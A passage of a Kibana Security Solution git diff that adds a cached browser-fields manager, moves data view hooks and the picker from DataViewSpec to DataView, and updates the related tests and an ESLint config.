ENDPOINT_FIELDS_SEARCH_STRATEGY } from '../../../../common/endpoint/constants'; @@ -115,10 +115,7 @@ export const useFetchIndex = ( abortCtrl.current = new AbortController(); const dv = await data.dataViews.create({ title: iNames.join(','), allowNoIndex: true }); const dataView = dv.toSpec(); - const { browserFields } = getDataViewStateFromIndexFields( - iNames.join(','), - dataView.fields - ); + const { browserFields } = browserFieldsManager.getBrowserFields(dv); previousIndexesName.current = dv.getIndexPattern().split(','); diff --git a/x-pack/solutions/security/plugins/security_solution/public/common/containers/source/use_data_view.tsx b/x-pack/solutions/security/plugins/security_solution/public/common/containers/source/use_data_view.tsx index 1dd1bf2877438..fcab84e3a225b 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/common/containers/source/use_data_view.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/common/containers/source/use_data_view.tsx @@ -9,6 +9,7 @@ import { useCallback, useRef } from 'react'; import type { Subscription } from 'rxjs'; import { useDispatch } from 'react-redux'; import memoizeOne from 'memoize-one'; +import deepEqual from 'fast-deep-equal'; import type { BrowserFields } from '@kbn/timelines-plugin/common'; import type { DataViewSpec } from '@kbn/data-views-plugin/public'; import type { FieldCategory } from '@kbn/timelines-plugin/common/search_strategy'; @@ -44,6 +45,9 @@ interface DataViewInfo { /** * HOT Code path where the fields can be 16087 in length or larger. This is * VERY mutatious on purpose to improve the performance of the transform. + * TODO: newDataViewPickerEnabled - consider removing this in favor of the + * buildBrowserFieldsFromDataView util at x-pack/solutions/security/plugins/security_solution/public/data_view_manager/utils/build_browser_fields.ts + * which utilizes the less expensive DataView.fields instead of the DataViewSpec.fields which is much more expensive to build. */ export const getDataViewStateFromIndexFields = memoizeOne( (_title: string, fields: DataViewSpec['fields']): DataViewInfo => { @@ -66,7 +70,7 @@ export const getDataViewStateFromIndexFields = memoizeOne( return { browserFields: browserFields as DangerCastForBrowserFieldsMutation }; } }, - (newArgs, lastArgs) => newArgs[0] === lastArgs[0] && newArgs[1]?.length === lastArgs[1]?.length + (newArgs, lastArgs) => deepEqual(newArgs, lastArgs) // DataViewSpec['fields'] is an object, so we cannot do a length check. ); export const useDataView = (): { diff --git a/x-pack/solutions/security/plugins/security_solution/public/dashboards/.eslintrc.js b/x-pack/solutions/security/plugins/security_solution/public/dashboards/.eslintrc.js index cee2d528612a7..e8df76cf42c45 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/dashboards/.eslintrc.js +++ b/x-pack/solutions/security/plugins/security_solution/public/dashboards/.eslintrc.js @@ -68,19 +68,25 @@ // eslint-disable-next-line import/no-nodejs-modules const path = require('path'); +// eslint-disable-next-line import/no-nodejs-modules +const { execSync } = require('child_process'); + const minimatch = require('minimatch'); /** @type {Array.} */ -const RESTRICTED_IMPORTS = [ +const RESTRICTED_IMPORTS_PATHS = [ { name: 'enzyme', message: 'Please use @testing-library/react instead', }, ]; -// root directory of the project dynamically calculated -const ROOT_DIR = process.cwd(); -const ROOT_CLIMB_STRING = path.relative(__dirname, ROOT_DIR); // e.g. ../../../../.. +const ROOT_DIR = execSync('git rev-parse --show-toplevel', { + encoding: 'utf8', + cwd: __dirname, +}).trim(); + +const ROOT_CLIMB_STRING = path.relative(__dirname, ROOT_DIR); // i.e. '../../..' /** @type {import('eslint').Linter.Config} */ const rootConfig = require(`${ROOT_CLIMB_STRING}/.eslintrc`); // eslint-disable-line import/no-dynamic-require @@ -114,7 +120,7 @@ for (const override of overridesWithNoRestrictedImportRule) { // Dynamic duplicates removal for all restricted imports const existingPaths = modernConfig.paths.filter( (existing) => - !RESTRICTED_IMPORTS.some((restriction) => + !RESTRICTED_IMPORTS_PATHS.some((restriction) => typeof existing === 'string' ? existing === restriction.name : existing.name === restriction.name @@ -125,7 +131,7 @@ for (const override of overridesWithNoRestrictedImportRule) { const newRuleConfig = [ severity, { - paths: [...existingPaths, ...RESTRICTED_IMPORTS], + paths: [...existingPaths, ...RESTRICTED_IMPORTS_PATHS], patterns: modernConfig.patterns, }, ]; diff --git a/x-pack/solutions/security/plugins/security_solution/public/data_view_manager/components/data_view_picker/index.test.tsx b/x-pack/solutions/security/plugins/security_solution/public/data_view_manager/components/data_view_picker/index.test.tsx index e07d39451c3f6..e473c5ebfe173 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/data_view_manager/components/data_view_picker/index.test.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/data_view_manager/components/data_view_picker/index.test.tsx @@ -8,7 +8,7 @@ import React from 'react'; import { render, screen, fireEvent, waitFor } from '@testing-library/react'; import { DataViewPicker } from '.'; -import { useDataViewSpec } from '../../hooks/use_data_view_spec'; +import { useDataView } from '../../hooks/use_data_view'; import { DEFAULT_SECURITY_SOLUTION_DATA_VIEW_ID, DataViewManagerScopeName } from '../../constants'; import { sharedDataViewManagerSlice } from '../../redux/slices'; import { useDispatch } from 'react-redux'; @@ -19,13 +19,14 @@ import { TestProviders } from '../../../common/mock/test_providers'; import { useSelectDataView } from '../../hooks/use_select_data_view'; import { useUpdateUrlParam } from '../../../common/utils/global_query_string'; import { URL_PARAM_KEY } from '../../../common/hooks/constants'; +import { useKibana as mockUseKibana } from '../../../common/lib/kibana/__mocks__'; jest.mock('../../../common/utils/global_query_string', () => ({ useUpdateUrlParam: jest.fn(), })); -jest.mock('../../hooks/use_data_view_spec', () => ({ - useDataViewSpec: jest.fn(), +jest.mock('../../hooks/use_data_view', () => ({ + useDataView: jest.fn(), })); jest.mock('../../hooks/use_select_data_view', () => ({ @@ -39,9 +40,7 @@ jest.mock('react-redux', () => { }; }); -jest.mock('../../../common/lib/kibana', () => ({ - useKibana: jest.fn(), -})); +jest.mock('../../../common/lib/kibana'); jest.mock('@kbn/unified-search-plugin/public', () => ({ ...jest.requireActual('@kbn/unified-search-plugin/public'), @@ -79,11 +78,11 @@ describe('DataViewPicker', () => { beforeEach(() => { jest.mocked(useUpdateUrlParam).mockReturnValue(jest.fn()); - jest.mocked(useDataViewSpec).mockReturnValue({ - dataViewSpec: { + jest.mocked(useDataView).mockReturnValue({ + dataView: { id: DEFAULT_SECURITY_SOLUTION_DATA_VIEW_ID, name: 'Default Security Data View', - }, + } as unknown as DataView, status: 'ready', }); @@ -93,12 +92,12 @@ describe('DataViewPicker', () => { jest.mocked(useKibana).mockReturnValue({ services: { + ...mockUseKibana().services, dataViewFieldEditor: { openEditor: jest.fn() }, dataViewEditor: { openEditor: jest.fn(), userPermissions: { editDataView: jest.fn().mockReturnValue(true) }, }, - data: { dataViews: { get: jest.fn() } }, }, } as unknown as ReturnType); }); diff --git a/x-pack/solutions/security/plugins/security_solution/public/data_view_manager/components/data_view_picker/index.tsx b/x-pack/solutions/security/plugins/security_solution/public/data_view_manager/components/data_view_picker/index.tsx index 44d673c70efab..40513f0af7a46 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/data_view_manager/components/data_view_picker/index.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/data_view_manager/components/data_view_picker/index.tsx @@ -14,15 +14,16 @@ import type { SourcererUrlState } from '../../../sourcerer/store/model'; import { useUpdateUrlParam } from '../../../common/utils/global_query_string'; import { URL_PARAM_KEY } from '../../../common/hooks/use_url_state'; import { useKibana } from '../../../common/lib/kibana'; -import { useDataViewSpec } from '../../hooks/use_data_view_spec'; import { sharedStateSelector } from '../../redux/selectors'; import { sharedDataViewManagerSlice } from '../../redux/slices'; import { useSelectDataView } from '../../hooks/use_select_data_view'; import { DataViewManagerScopeName } from '../../constants'; import { useManagedDataViews } from '../../hooks/use_managed_data_views'; import { useSavedDataViews } from '../../hooks/use_saved_data_views'; -import { LOADING } from './translations'; +import { DEFAULT_SECURITY_DATA_VIEW, LOADING } from './translations'; import { DATA_VIEW_PICKER_TEST_ID } from './constants'; +import { useDataView } from '../../hooks/use_data_view'; +import { browserFieldsManager } from '../../utils/security_browser_fields_manager'; interface DataViewPickerProps { /** @@ -55,7 +56,7 @@ export const DataViewPicker = memo(({ scope, onClosePopover, disabled }: DataVie const closeDataViewEditor = useRef<() => void | undefined>(); const closeFieldEditor = useRef<() => void | undefined>(); - const { dataViewSpec, status } = useDataViewSpec(scope); + const { dataView, status } = useDataView(scope); const { adhocDataViews: adhocDataViewSpecs, defaultDataViewId } = useSelector(sharedStateSelector); @@ -69,12 +70,13 @@ export const DataViewPicker = memo(({ scope, onClosePopover, disabled }: DataVie const isDefaultSourcerer = scope === DataViewManagerScopeName.default; const updateUrlParam = useUpdateUrlParam(URL_PARAM_KEY.sourcerer); - const dataViewId = dataViewSpec?.id; + const dataViewId = dataView?.id; // NOTE: this function is called in response to user interaction with the picker, // hence - it is the only place where we should update the url param for the data view selection. const handleChangeDataView = useCallback( (id: string, indexPattern: string = '') => { + browserFieldsManager.removeFromCache(scope); selectDataView({ id, scope }); if (isDefaultSourcerer) { @@ -111,6 +113,9 @@ export const DataViewPicker = memo(({ scope, onClosePopover, disabled }: DataVie } const dataViewInstance = await data.dataViews.get(dataViewId); + // Modifications to the fields do not trigger cache invalidation, but should as `fields` will be stale. + data.dataViews.clearInstanceCache(dataViewId); + browserFieldsManager.removeFromCache(scope); closeFieldEditor.current = await dataViewFieldEditor.openEditor({ ctx: { @@ -126,7 +131,7 @@ export const DataViewPicker = memo(({ scope, onClosePopover, disabled }: DataVie }, }); }, - [dataViewId, data.dataViews, dataViewFieldEditor, handleChangeDataView] + [dataViewId, data.dataViews, scope, dataViewFieldEditor, handleChangeDataView] ); /** @@ -154,10 +159,16 @@ export const DataViewPicker = memo(({ scope, onClosePopover, disabled }: DataVie return { label: LOADING }; } + if (dataView?.id === defaultDataViewId) { + return { + label: DEFAULT_SECURITY_DATA_VIEW, + }; + } + return { - label: dataViewSpec?.name || dataViewSpec?.id || 'Data view', + label: dataView?.name || dataView?.id || 'Data view', }; - }, [dataViewSpec?.name, dataViewSpec?.id, status]); + }, [dataView?.id, dataView?.name, defaultDataViewId, status]); return (
    diff --git a/x-pack/solutions/security/plugins/security_solution/public/data_view_manager/hooks/use_browser_fields.test.ts b/x-pack/solutions/security/plugins/security_solution/public/data_view_manager/hooks/use_browser_fields.test.ts index d5fa20c2e058a..f0426d5e0fb7f 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/data_view_manager/hooks/use_browser_fields.test.ts +++ b/x-pack/solutions/security/plugins/security_solution/public/data_view_manager/hooks/use_browser_fields.test.ts @@ -9,30 +9,43 @@ import { renderHook } from '@testing-library/react'; import { TestProviders } from '../../common/mock'; import { useBrowserFields } from './use_browser_fields'; import { DEFAULT_SECURITY_SOLUTION_DATA_VIEW_ID, DataViewManagerScopeName } from '../constants'; -import { useDataViewSpec } from './use_data_view_spec'; -import { type FieldSpec } from '@kbn/data-views-plugin/common'; +import { useDataView } from './use_data_view'; +import { DataView } from '@kbn/data-views-plugin/common'; +import { useIsExperimentalFeatureEnabled } from '../../common/hooks/use_experimental_features'; -jest.mock('./use_data_view_spec', () => ({ - useDataViewSpec: jest.fn(), +jest.mock('../../common/hooks/use_experimental_features'); + +jest.mock('./use_data_view', () => ({ + useDataView: jest.fn(), })); describe('useBrowserFields', () => { beforeAll(() => { - jest.mocked(useDataViewSpec).mockReturnValue({ - dataViewSpec: { - id: DEFAULT_SECURITY_SOLUTION_DATA_VIEW_ID, - fields: { - '@timestamp': { - type: 'date', - name: '@timestamp', - } as FieldSpec, + jest.mocked(useDataView).mockReturnValue({ + dataView: new DataView({ + spec: { + id: DEFAULT_SECURITY_SOLUTION_DATA_VIEW_ID, + title: 'security-solution-data-view', + fields: { + '@timestamp': { + name: '@timestamp', + type: 'date', + esTypes: ['date'], + aggregatable: true, + searchable: true, + scripted: false, + }, + }, }, - }, + // @ts-expect-error: DataView constructor expects more, but this is enough for our test + fieldFormats: { getDefaultInstance: () => ({}) }, + }), status: 'ready', }); }); it('should call the useDataView hook and return browser fields map', () => { + jest.mocked(useIsExperimentalFeatureEnabled).mockReturnValue(true); const wrapper = renderHook(() => useBrowserFields(DataViewManagerScopeName.default), { wrapper: TestProviders, }); @@ -42,7 +55,62 @@ describe('useBrowserFields', () => { "base": Object { "fields": Object { "@timestamp": Object { + "aggregatable": true, + "esTypes": Array [ + "date", + ], + "name": "@timestamp", + "scripted": false, + "searchable": true, + "shortDotsEnable": false, + "type": "date", + }, + }, + }, + } + `); + }); + + it('should use the passed in dataView when the feature flag is disabled', () => { + jest.mocked(useIsExperimentalFeatureEnabled).mockReturnValue(false); + const oldDataView = new DataView({ + spec: { + id: 'old-dataView', + title: 'security-solution-data-view-old', + fields: { + '@timestamp': { + name: '@timestamp', + type: 'date', + esTypes: ['date'], + aggregatable: true, + searchable: true, + scripted: false, + }, + }, + }, + // @ts-expect-error: DataView constructor expects more, but this is enough for our test + fieldFormats: { getDefaultInstance: () => ({}) }, + }); + const wrapper = renderHook( + () => useBrowserFields(DataViewManagerScopeName.default, oldDataView), + { + wrapper: TestProviders, + } + ); + + expect(wrapper.result.current).toMatchInlineSnapshot(` + Object { + "base": Object { + "fields": Object { + "@timestamp": Object { + "aggregatable": true, + "esTypes": Array [ + "date", + ], "name": "@timestamp", + "scripted": false, + "searchable": true, + "shortDotsEnable": false, "type": "date", }, }, diff --git a/x-pack/solutions/security/plugins/security_solution/public/data_view_manager/hooks/use_browser_fields.ts b/x-pack/solutions/security/plugins/security_solution/public/data_view_manager/hooks/use_browser_fields.ts index f498e841a5791..d818931a1addc 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/data_view_manager/hooks/use_browser_fields.ts +++ b/x-pack/solutions/security/plugins/security_solution/public/data_view_manager/hooks/use_browser_fields.ts @@ -7,25 +7,30 @@ import { useMemo } from 'react'; import type { BrowserFields } from '@kbn/timelines-plugin/common'; +import type { DataView } from '@kbn/data-views-plugin/common'; import { DataViewManagerScopeName } from '../constants'; -import { useDataViewSpec } from './use_data_view_spec'; -import { getDataViewStateFromIndexFields } from '../../common/containers/source/use_data_view'; +import { useDataView } from './use_data_view'; +import { browserFieldsManager } from '../utils/security_browser_fields_manager'; +import { useIsExperimentalFeatureEnabled } from '../../common/hooks/use_experimental_features'; export const useBrowserFields = ( - scope: DataViewManagerScopeName = DataViewManagerScopeName.default + scope: DataViewManagerScopeName = DataViewManagerScopeName.default, + /** + * @deprecated remove when newDataViewPickerEnabled is removed + */ + oldDataView?: DataView ): BrowserFields => { - const { dataViewSpec } = useDataViewSpec(scope); + const { dataView } = useDataView(scope); + const newDataViewPickerEnabled = useIsExperimentalFeatureEnabled('newDataViewPickerEnabled'); + const activeDataView = newDataViewPickerEnabled ? dataView : oldDataView; return useMemo(() => { - if (!dataViewSpec) { + if (!activeDataView) { return {}; } - const { browserFields } = getDataViewStateFromIndexFields( - dataViewSpec?.title ?? '', - dataViewSpec.fields - ); + const { browserFields } = browserFieldsManager.getBrowserFields(activeDataView, scope); return browserFields; - }, [dataViewSpec]); + }, [activeDataView, scope]); }; diff --git a/x-pack/solutions/security/plugins/security_solution/public/data_view_manager/hooks/use_data_view_spec.ts b/x-pack/solutions/security/plugins/security_solution/public/data_view_manager/hooks/use_data_view_spec.ts index a89524559c25d..5f6febb770ebe 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/data_view_manager/hooks/use_data_view_spec.ts +++ b/x-pack/solutions/security/plugins/security_solution/public/data_view_manager/hooks/use_data_view_spec.ts @@ -23,9 +23,11 @@ export interface UseDataViewSpecResult { /** * Returns an object with the dataViewSpec and status values for the given scopeName. + * IMPORTANT: If fields are not required, make sure to pass `includeFields = false`. */ export const useDataViewSpec = ( - scopeName: DataViewManagerScopeName = DataViewManagerScopeName.default + scopeName: DataViewManagerScopeName = DataViewManagerScopeName.default, + includeFields = true ): UseDataViewSpecResult => { const { dataView, status } = useDataView(scopeName); @@ -42,6 +44,6 @@ export const useDataViewSpec = ( }; } - return { dataViewSpec: dataView?.toSpec?.(), status }; - }, [dataView, status]); + return { dataViewSpec: dataView?.toSpec?.(includeFields), status }; + }, [dataView, includeFields, status]); }; diff --git a/x-pack/solutions/security/plugins/security_solution/public/data_view_manager/hooks/use_security_default_patterns.test.ts b/x-pack/solutions/security/plugins/security_solution/public/data_view_manager/hooks/use_security_default_patterns.test.ts new file mode 100644 index 0000000000000..61261757994ff --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/public/data_view_manager/hooks/use_security_default_patterns.test.ts @@ -0,0 +1,55 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ +import { renderHook } from '@testing-library/react'; +import { useSelector } from 'react-redux'; +import { DEFAULT_SECURITY_SOLUTION_DATA_VIEW_ID } from '../constants'; +import { useSecurityDefaultPatterns } from './use_security_default_patterns'; + +jest.mock('react-redux', () => ({ + useSelector: jest.fn(), +})); + +describe('useSecurityDefaultPatterns', () => { + beforeEach(() => { + jest.clearAllMocks(); + }); + + it('should return the default data view', () => { + const mockDataViews = [ + { + id: DEFAULT_SECURITY_SOLUTION_DATA_VIEW_ID, + title: 'logs-*,metrics-*', + name: 'default_view', + }, + { + id: 'custom-view-1', + title: 'Custom View 1', + name: 'custom_view_1', + }, + ]; + + (useSelector as jest.Mock).mockReturnValue({ + dataViews: mockDataViews, + defaultDataViewId: DEFAULT_SECURITY_SOLUTION_DATA_VIEW_ID, + }); + + const { result } = renderHook(() => useSecurityDefaultPatterns()); + expect(result.current).toEqual({ + id: DEFAULT_SECURITY_SOLUTION_DATA_VIEW_ID, + indexPatterns: ['logs-*', 'metrics-*'], + }); + }); + + it('should return empty id and index patterns if no default data view is found', () => { + (useSelector as jest.Mock).mockReturnValue({ + dataViews: [], + defaultDataViewId: null, + }); + const { result } = renderHook(() => useSecurityDefaultPatterns()); + expect(result.current).toEqual({ id: '', indexPatterns: [] }); + }); +}); diff --git a/x-pack/solutions/security/plugins/security_solution/public/data_view_manager/hooks/use_security_default_patterns.ts b/x-pack/solutions/security/plugins/security_solution/public/data_view_manager/hooks/use_security_default_patterns.ts new file mode 100644 index 0000000000000..7a22a1e863ab0 --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/public/data_view_manager/hooks/use_security_default_patterns.ts @@ -0,0 +1,41 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { useMemo } from 'react'; +import { useSelector } from 'react-redux'; +import { sharedStateSelector } from '../redux/selectors'; + +interface UseSecurityDefaultPatternsResult { + /** + * The default data view id. + */ + id: string; + /** + * The index patterns of the default data view. + */ + indexPatterns: string[]; +} + +/** + * Returns the default data view id and index patterns. + */ +export const useSecurityDefaultPatterns = (): UseSecurityDefaultPatternsResult => { + const { dataViews: dataViewSpecs, defaultDataViewId } = useSelector(sharedStateSelector); + + const defaultDataViewSpec = useMemo( + () => dataViewSpecs.find((dv) => dv.id === defaultDataViewId), + [dataViewSpecs, defaultDataViewId] + ); + + return useMemo( + () => ({ + id: defaultDataViewSpec?.id ?? '', + indexPatterns: defaultDataViewSpec?.title?.split(',') ?? [], + }), + [defaultDataViewSpec] + ); +}; diff --git a/x-pack/solutions/security/plugins/security_solution/public/data_view_manager/utils/security_browser_fields_manager.test.ts b/x-pack/solutions/security/plugins/security_solution/public/data_view_manager/utils/security_browser_fields_manager.test.ts new file mode 100644 index 0000000000000..7740ca47ac318 --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/public/data_view_manager/utils/security_browser_fields_manager.test.ts @@ -0,0 +1,185 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { browserFieldsManager } from './security_browser_fields_manager'; +import { DataView } from '@kbn/data-views-plugin/public'; +import type { DataViewSpec, FieldSpec } from '@kbn/data-views-plugin/common'; +import { DataViewManagerScopeName } from '../constants'; + +const createDataView = (fields: Array>, title = 'test-title'): DataView => { + // DataView expects a spec with a fields object keyed by field name + const spec: DataViewSpec = { + id: 'test-id', + title, + fields: fields.reduce((acc, f) => { + if (f.name !== undefined) { + acc[f.name] = { + name: f.name, + type: f.type ?? 'string', + esTypes: ['keyword'], + aggregatable: true, + searchable: true, + scripted: false, + }; + } + return acc; + }, {} as Record), + }; + // @ts-expect-error: DataView constructor expects more, but this is enough for our test + return new DataView({ spec, fieldFormats: { getDefaultInstance: () => ({}) } }); +}; + +describe('browserFieldsManager', () => { + it('returns empty browserFields for empty array', () => { + const dataView = createDataView([]); + const result = browserFieldsManager.getBrowserFields(dataView); + expect(result.browserFields).toEqual({}); + }); + + it('groups fields by category', () => { + const dataView = createDataView([ + { name: 'host.name' }, + { name: 'host.ip' }, + { name: 'user.name' }, + { name: 'event.category' }, + { name: 'event.action' }, + { name: 'basefield' }, + ]); + const result = browserFieldsManager.getBrowserFields(dataView); + expect(result.browserFields).toHaveProperty('host'); + expect(result.browserFields).toHaveProperty('user'); + expect(result.browserFields).toHaveProperty('event'); + expect(result.browserFields).toHaveProperty('base'); + expect(result.browserFields.host.fields).toHaveProperty(['host.name']); + expect(result.browserFields.host.fields).toHaveProperty(['host.ip']); + expect(result.browserFields.user.fields).toHaveProperty(['user.name']); + expect(result.browserFields.event.fields).toHaveProperty(['event.category']); + expect(result.browserFields.event.fields).toHaveProperty(['event.action']); + expect(result.browserFields.base.fields).toHaveProperty(['basefield']); + }); + + it('handles fields with missing type gracefully', () => { + const dataView = createDataView([{ name: 'host.name' }]); + // Remove type from the DataViewField + // @ts-expect-error + dataView.getFieldByName('host.name').spec.type = undefined; + const result = browserFieldsManager.getBrowserFields(dataView); + expect(result.browserFields.host.fields).toHaveProperty(['host.name']); + expect(result.browserFields.host.fields['host.name'].type).toBeUndefined(); + }); + + describe('memoization', () => { + it('should not memoize when different fields are provided with the same title', () => { + const dataView1 = createDataView([{ name: 'host.name' }]); + const dataView2 = createDataView([{ name: 'user.name' }]); + const result1 = browserFieldsManager.getBrowserFields(dataView1); + const result2 = browserFieldsManager.getBrowserFields(dataView2); + expect(result1).not.toBe(result2); + }); + + it('should memoize browserFields for the same dataView title', () => { + const dataView = createDataView([{ name: 'host.name' }]); + const result1 = browserFieldsManager.getBrowserFields( + dataView, + DataViewManagerScopeName.detections + ); + const result2 = browserFieldsManager.getBrowserFields( + dataView, + DataViewManagerScopeName.detections + ); + expect(result1).toBe(result2); + }); + + it('should return the same browserFields for different scopes if the dataView is the same', () => { + const dataView = createDataView([{ name: 'host.name' }]); + const result1 = browserFieldsManager.getBrowserFields( + dataView, + DataViewManagerScopeName.detections + ); + const result2 = browserFieldsManager.getBrowserFields( + dataView, + DataViewManagerScopeName.default + ); + expect(result1).toBe(result2); + expect(result1.browserFields).toEqual(result2.browserFields); + }); + + it('should return different browserFields for different scopes with different dataViews', () => { + const dataView1 = createDataView([{ name: 'host.name' }]); + const dataView2 = createDataView([{ name: 'user.name' }], 'other-title'); + const result1 = browserFieldsManager.getBrowserFields( + dataView1, + DataViewManagerScopeName.detections + ); + const result2 = browserFieldsManager.getBrowserFields( + dataView2, + DataViewManagerScopeName.default + ); + expect(result1).not.toBe(result2); + expect(result1.browserFields).not.toEqual(result2.browserFields); + expect(result1.browserFields.host).toBeDefined(); + expect(result2.browserFields.user).toBeDefined(); + }); + + it('should clear cache correctly', () => { + const dataView = createDataView([{ name: 'host.name' }]); + const result1 = browserFieldsManager.getBrowserFields( + dataView, + DataViewManagerScopeName.detections + ); + browserFieldsManager.clearCache(); + const result2 = browserFieldsManager.getBrowserFields( + dataView, + DataViewManagerScopeName.detections + ); + expect(result1).not.toBe(result2); + }); + + it('should return cached value if it still exists in cache for another scope', () => { + const dataView = createDataView([{ name: 'host.name' }]); + const result1 = browserFieldsManager.getBrowserFields( + dataView, + DataViewManagerScopeName.detections + ); + const result2 = browserFieldsManager.getBrowserFields( + dataView, + DataViewManagerScopeName.default + ); + browserFieldsManager.removeFromCache(DataViewManagerScopeName.detections); + const result3 = browserFieldsManager.getBrowserFields( + dataView, + DataViewManagerScopeName.detections + ); + expect(result1).toBe(result3); + expect(result2).toBe(result3); + }); + + it('should clear the entire cache when clearCache is called', () => { + const dataView1 = createDataView([{ name: 'host.name' }]); + const dataView2 = createDataView([{ name: 'user.name' }], 'other-title'); + const result1 = browserFieldsManager.getBrowserFields( + dataView1, + DataViewManagerScopeName.detections + ); + const result2 = browserFieldsManager.getBrowserFields( + dataView2, + DataViewManagerScopeName.default + ); + browserFieldsManager.clearCache(); + const result3 = browserFieldsManager.getBrowserFields( + dataView1, + DataViewManagerScopeName.detections + ); + const result4 = browserFieldsManager.getBrowserFields( + dataView2, + DataViewManagerScopeName.default + ); + expect(result1).not.toBe(result3); + expect(result2).not.toBe(result4); + }); + }); +}); diff --git a/x-pack/solutions/security/plugins/security_solution/public/data_view_manager/utils/security_browser_fields_manager.ts b/x-pack/solutions/security/plugins/security_solution/public/data_view_manager/utils/security_browser_fields_manager.ts new file mode 100644 index 0000000000000..3d0c62e9e47f1 --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/public/data_view_manager/utils/security_browser_fields_manager.ts @@ -0,0 +1,149 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import type { BrowserFields } from '@kbn/timelines-plugin/common'; +import type { DataView } from '@kbn/data-views-plugin/public'; +import { getCategory } from '@kbn/response-ops-alerts-fields-browser/helpers'; +import type { DataViewManagerScopeName } from '../constants'; + +type DataViewTitle = ReturnType; +interface BrowserFieldsResult { + browserFields: BrowserFields; +} + +/** + * SecurityBrowserFieldsManager is a singleton class that manages the browser fields + * for the Security Solution. It caches the browser fields to improve performance + * when accessing the fields multiple times across multiple scopes. + */ +class SecurityBrowserFieldsManager { + private static instance: SecurityBrowserFieldsManager; + private scopeToDataViewIndexPatternsCache = new Map(); + private dataViewIndexPatternsToBrowserFieldsCache = new Map(); + + constructor() { + if (SecurityBrowserFieldsManager.instance) { + return SecurityBrowserFieldsManager.instance; + } + SecurityBrowserFieldsManager.instance = this; + } + + /** + * Builds the browser fields from the provided dataView fields. + * @param fields - The fields from the dataView to be processed. + * @returns An object containing the browserFields. + */ + private buildBrowserFields(fields: DataView['fields']): BrowserFieldsResult { + if (fields == null) return { browserFields: {} }; + + const browserFields: BrowserFields = {}; + for (let i = 0; i < fields.length; i++) { + const field = fields[i].spec; + const name = field.name; + if (name != null) { + const category = getCategory(name); + if (browserFields[category] == null) { + browserFields[category] = { fields: {} }; + } + const categoryFields = browserFields[category].fields; + if (categoryFields) { + categoryFields[name] = field; + } + } + } + return { browserFields }; + } + + /** + * + * @param dataViewtitle - The title of the dataView, which is used as a key for caching. + * This is typically the index pattern of the dataView. + * @param scope - The scope of the data view manager, used to differentiate between different contexts. + * @returns The cached browser fields for the specified dataView title and scope, or undefined if not found. + */ + private getCachedBrowserFields( + dataViewTitle: DataViewTitle, + scope: DataViewManagerScopeName + ): BrowserFieldsResult | undefined { + // Check if the scope is already mapped to a dataView title + const cachedDataViewTitle = this.scopeToDataViewIndexPatternsCache.get(scope); + if (cachedDataViewTitle && cachedDataViewTitle === dataViewTitle) { + // If the title matches, return the cached browser fields + const cachedResult = this.dataViewIndexPatternsToBrowserFieldsCache.get(cachedDataViewTitle); + if (cachedResult) { + return cachedResult; + } + } + // If the title does not match or is not cached, update the cache with the new title + this.scopeToDataViewIndexPatternsCache.set(scope, dataViewTitle); + // Check if the browser fields for this title are already cached + const cachedBrowserFields = this.dataViewIndexPatternsToBrowserFieldsCache.get(dataViewTitle); + if (cachedBrowserFields) { + return cachedBrowserFields; + } + return undefined; + } + /** + * + * @param dataView - The dataView containing the fields to be processed. + * @param [scope] - Optional The scope of the data view manager, used to differentiate between different contexts. + * If passed, will use cache for the specified scope, but can be ignored if caching is not desired. + * @returns An object containing the browserFields built from the dataView fields. + */ + public getBrowserFields( + dataView: DataView, + scope?: DataViewManagerScopeName + ): BrowserFieldsResult { + const { fields } = dataView; + // If the dataView has no fields, return an empty browserFields object + if (!fields || fields.length === 0) { + return { browserFields: {} }; + } + + const indexPatterns = dataView.getIndexPattern(); + + // Caching depends on the scope and title + if (scope && indexPatterns) { + const cachedResult = this.getCachedBrowserFields(indexPatterns, scope); + if (cachedResult) { + // If the browser fields for this indexPatterns are cached, return them + return cachedResult; + } + // If the browser fields for this indexPatterns are not cached, build them + const result = this.buildBrowserFields(fields); + this.dataViewIndexPatternsToBrowserFieldsCache.set(indexPatterns, result); + return result; + } + + // If scope is not provided or title is not defined, return the browser fields without caching + return this.buildBrowserFields(fields); + } + + public removeFromCache(scope: DataViewManagerScopeName): void { + const indexPatterns = this.scopeToDataViewIndexPatternsCache.get(scope); + if (indexPatterns) { + this.scopeToDataViewIndexPatternsCache.delete(scope); + const scopesUsingIndexPattern = Array.from(this.scopeToDataViewIndexPatternsCache.values()); + + if (!scopesUsingIndexPattern.includes(indexPatterns)) { + // If no other scope is using this indexPattern, remove it from the browser fields cache + this.dataViewIndexPatternsToBrowserFieldsCache.delete(indexPatterns); + } + } + } + + /** + * Clear all caches in the SecurityBrowserFieldsManager. + * This method is useful for resetting the state of the manager, especially during tests + */ + public clearCache(): void { + this.scopeToDataViewIndexPatternsCache.clear(); + this.dataViewIndexPatternsToBrowserFieldsCache.clear(); + } +} + +export const browserFieldsManager = new SecurityBrowserFieldsManager(); diff --git a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/common/components/rule_execution_status/rule_status_failed_callout.test.tsx 